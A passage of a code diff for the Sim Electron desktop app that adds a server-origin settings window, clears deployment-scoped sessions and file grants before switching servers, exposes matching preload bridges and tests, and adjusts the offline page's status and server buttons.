+ // asks for nothing, and a foreign origin can never load in this window, so
+ // the shared handler resolves to a deny-all — which is the intent.
+ setupPermissionHandlers(session.fromPartition(SERVER_WINDOW_PARTITION), deps.config.getOrigin)
+ win = new BrowserWindow({
+ width: WINDOW_WIDTH,
+ height: WINDOW_HEIGHT,
+ resizable: false,
+ minimizable: false,
+ maximizable: false,
+ fullscreenable: false,
+ title: 'Sim Server',
+ titleBarStyle: 'hiddenInset',
+ show: false,
+ // System preference only, unlike the main window: that one pre-paints for
+ // the web app it is about to load, whose theme the user picked in Sim.
+ // This window loads a bundled page that follows `prefers-color-scheme`,
+ // so honouring the stored web-app theme here would pre-paint dark behind
+ // a page about to render light whenever the two disagree.
+ backgroundColor: backgroundColorFor(undefined, nativeTheme.shouldUseDarkColors),
+ // Modal only when there is a live parent to attach to. A shell whose
+ // window is gone (or never opened, because the origin failed to load)
+ // still has to be able to reach this.
+ ...(parent && !parent.isDestroyed() ? { parent, modal: true } : {}),
+ webPreferences: createSecureWebPreferences(
+ SERVER_WINDOW_PARTITION,
+ deps.preloadPath,
+ deps.isPackaged
+ ),
+ })
+ win.once('ready-to-show', () => {
+ win?.show()
+ })
+ win.on('closed', () => {
+ win = null
+ })
+ void win.loadFile(deps.pagePath).catch((error) => {
+ logger.error('Could not open the server window', { error: getErrorMessage(error) })
+ })
+ }
+
+ const setOrigin = async (raw: string): Promise => {
+ const validated = validateOriginInput(raw)
+ if (!validated.ok) {
+ return validated
+ }
+ // Same canonicalization the store applies, so the comparison below matches
+ // what would actually be written.
+ const origin = canonicalOrigin(validated.origin)
+ const current = deps.config.getOrigin()
+ if (origin === current) {
+ // Nothing moves, so nothing is torn down. Relaunching anyway would make
+ // "confirm the URL I already use" restart the app for no reason.
+ return { ok: true, origin, unchanged: true }
+ }
+
+ if (changeInFlight) {
+ return { ok: false, error: 'A server change is already in progress.' }
+ }
+ changeInFlight = true
+ try {
+ // Fail closed, and clear BEFORE persisting. If a store cannot be emptied,
+ // the shell must not move: the incoming deployment would otherwise
+ // inherit folder grants and authenticated browser sessions the outgoing
+ // one was given, and they are restored on the next startup. Nothing has
+ // been written at this point, so refusing leaves the shell on the server
+ // it was already using rather than half-applying the change.
+ const surviving = await deps.clearDeploymentScopedState().catch((error) => {
+ logger.error('Deployment-scoped teardown threw', { error: getErrorMessage(error) })
+ return ['local file access and built-in browser sessions']
+ })
+ if (surviving.length > 0) {
+ logger.error('Refusing to change server; deployment-scoped state survived', { surviving })
+ // Deliberately describes the whole teardown, not just what failed. The
+ // stores clear independently, so one may already be empty by now, and
+ // there is nothing to roll back to — a revoked cookie jar and deleted
+ // security-scoped bookmarks cannot be un-deleted. Saying "some may have
+ // been cleared" is the honest account, and a retry is safe: clearing an
+ // already-empty store succeeds, so it finishes the job rather than
+ // repeating it.
+ return {
+ ok: false,
+ error: `Could not clear ${surviving.join(' or ')} from the current server, so the server was not changed. Some local access may already have been cleared. Try again to finish, or sign out first.`,
+ }
+ }
+
+ logger.info('Server origin changed; relaunching', { from: current, to: origin })
+ deps.config.setOrigin(raw)
+ for (const key of ORIGIN_SCOPED_SETTINGS) {
+ deps.config.set(key, undefined)
+ }
+ // setOrigin writes through immediately; the clears above are debounced
+ // like every other setting. `before-quit` flushes too, but doing it here
+ // keeps the write independent of the Electron quit sequence.
+ deps.config.flush()
+ close()
+ deps.relaunch()
+ return { ok: true, origin, unchanged: false }
+ } finally {
+ changeInFlight = false
+ }
+ }
+
+ return { open, getConfiguration, setOrigin }
+}
+
+/** Restarts the process in place. Split out so tests can drive the seam. */
+export function relaunchApp(): void {
+ app.relaunch()
+ app.quit()
+}
diff --git a/apps/desktop/src/preload/index.test.ts b/apps/desktop/src/preload/index.test.ts
index 42cab747db4..4780e720e1e 100644
--- a/apps/desktop/src/preload/index.test.ts
+++ b/apps/desktop/src/preload/index.test.ts
@@ -45,4 +45,21 @@ describe('desktop preload bridge', () => {
['desktop:settings:set-browser-search-suggestions', false],
])
})
+
+ it('exposes native microphone settings only on supported platforms', async () => {
+ const exposed = exposeInMainWorld.mock.calls.find(([name]) => name === 'simDesktop')?.[1] as
+ | SimDesktopApi
+ | undefined
+ if (!exposed) throw new Error('Expected the desktop preload API to be exposed')
+
+ const isSupportedPlatform = process.platform === 'darwin' || process.platform === 'win32'
+ expect(typeof exposed.openMicrophoneSettings).toBe(
+ isSupportedPlatform ? 'function' : 'undefined'
+ )
+
+ if (isSupportedPlatform) {
+ await exposed.openMicrophoneSettings?.()
+ expect(invoke).toHaveBeenLastCalledWith('desktop:open-microphone-settings')
+ }
+ })
})
diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts
index afe84f2a42e..4e294b4af47 100644
--- a/apps/desktop/src/preload/index.ts
+++ b/apps/desktop/src/preload/index.ts
@@ -33,6 +33,8 @@ import type {
DesktopOAuthConnectScope,
DesktopPreferenceKey,
DesktopPreferences,
+ DesktopServerChangeResult,
+ DesktopServerConfiguration,
DesktopUpdateState,
DesktopWindowState,
DesktopZoomPercent,
@@ -112,6 +114,12 @@ function shellVersion(): string {
const api: SimDesktopApi = {
version: shellVersion(),
openExternal: (url: string): Promise => ipcRenderer.invoke('desktop:open-external', url),
+ ...(process.platform === 'darwin' || process.platform === 'win32'
+ ? {
+ openMicrophoneSettings: (): Promise =>
+ ipcRenderer.invoke('desktop:open-microphone-settings'),
+ }
+ : {}),
beginOAuthConnect: (providerId: string, scope?: DesktopOAuthConnectScope): Promise =>
ipcRenderer.invoke('desktop:oauth-connect', providerId, scope),
onOAuthConnectComplete: (callback: (result: DesktopOAuthConnectResult) => void): (() => void) => {
@@ -124,6 +132,15 @@ const api: SimDesktopApi = {
offlineRetry: (): void => {
ipcRenderer.send('offline:retry')
},
+ server: {
+ open: (): void => {
+ ipcRenderer.send('server:open')
+ },
+ getConfiguration: (): Promise =>
+ ipcRenderer.invoke('server:get-configuration'),
+ setOrigin: (origin: string): Promise =>
+ ipcRenderer.invoke('server:set-origin', origin),
+ },
localFilesystem: (request: LocalFilesystemRequest): Promise =>
ipcRenderer.invoke('desktop:local-filesystem', request),
onCommand: (callback: (command: DesktopCommand) => void): (() => void) => {
@@ -439,7 +456,7 @@ const api: SimDesktopApi = {
write: (terminalId: string, data: string, scopeId: string): void => {
ipcRenderer.send('terminal:write', terminalId, data, scopeId)
},
- paste: (terminalId: string, scopeId: string): Promise =>
+ paste: (terminalId: string, scopeId: string) =>
ipcRenderer.invoke('terminal:paste', terminalId, scopeId),
resize: (terminalId: string, cols: number, rows: number, scopeId: string): void => {
ipcRenderer.send('terminal:resize', terminalId, cols, rows, scopeId)
diff --git a/apps/desktop/src/test/electron-mock.ts b/apps/desktop/src/test/electron-mock.ts
index 348fe5c1f63..92ab79f12c3 100644
--- a/apps/desktop/src/test/electron-mock.ts
+++ b/apps/desktop/src/test/electron-mock.ts
@@ -169,6 +169,7 @@ function createWebContentsMock() {
setIgnoreMenuShortcuts: vi.fn(),
getZoomFactor: vi.fn(() => 1),
setZoomFactor: vi.fn(),
+ forcefullyCrashRenderer: vi.fn(),
copy: vi.fn(),
paste: vi.fn(),
capturePage: vi.fn(() => {
@@ -186,6 +187,7 @@ function createWebContentsMock() {
navigationHistory: {
canGoBack: vi.fn(() => false),
canGoForward: vi.fn(() => false),
+ getActiveIndex: vi.fn(() => 0),
goBack: vi.fn(),
goForward: vi.fn(),
},
diff --git a/apps/desktop/static/offline.html b/apps/desktop/static/offline.html
index 231c415a83e..20d82e4bab9 100644
--- a/apps/desktop/static/offline.html
+++ b/apps/desktop/static/offline.html
@@ -126,6 +126,12 @@
stroke 150ms cubic-bezier(0.4, 0, 0.2, 1);
-webkit-app-region: no-drag;
}
+ /* `button { display: inline-flex }` is an author rule, so it beats the UA
+ stylesheet's `[hidden] { display: none }` no matter the specificity —
+ without this the hidden status button renders anyway. */
+ button[hidden] {
+ display: none;
+ }
button .label {
min-width: 0;
flex: 1;
@@ -190,7 +196,8 @@
Can’t connect to Sim
-
+
+
@@ -227,10 +234,23 @@
Can’t connect to Sim
if (detail) document.getElementById('detail').textContent = detail
const bridge = window.simDesktop
+ const statusButton = document.getElementById('status')
document.getElementById('retry').addEventListener('click', () => bridge?.offlineRetry())
- document
- .getElementById('status')
- .addEventListener('click', () => bridge?.openExternal('https://status.sim.ai'))
+ statusButton.addEventListener('click', () => bridge?.openExternal('https://status.sim.ai'))
+ // The recovery path for a shell pointed at a server it cannot reach —
+ // a mistyped self-hosted origin strands the app here with nothing else
+ // to click.
+ document.getElementById('server').addEventListener('click', () => bridge?.server?.open())
+
+ // Hidden in the markup and only ever revealed, never the reverse: an
+ // older shell with no `server` bridge, or a configuration read that
+ // fails, must not leave a status link a self-hoster cannot use.
+ bridge?.server
+ ?.getConfiguration()
+ .then(({ isSimCloud }) => {
+ if (isSimCloud) statusButton.hidden = false
+ })
+ .catch(() => {})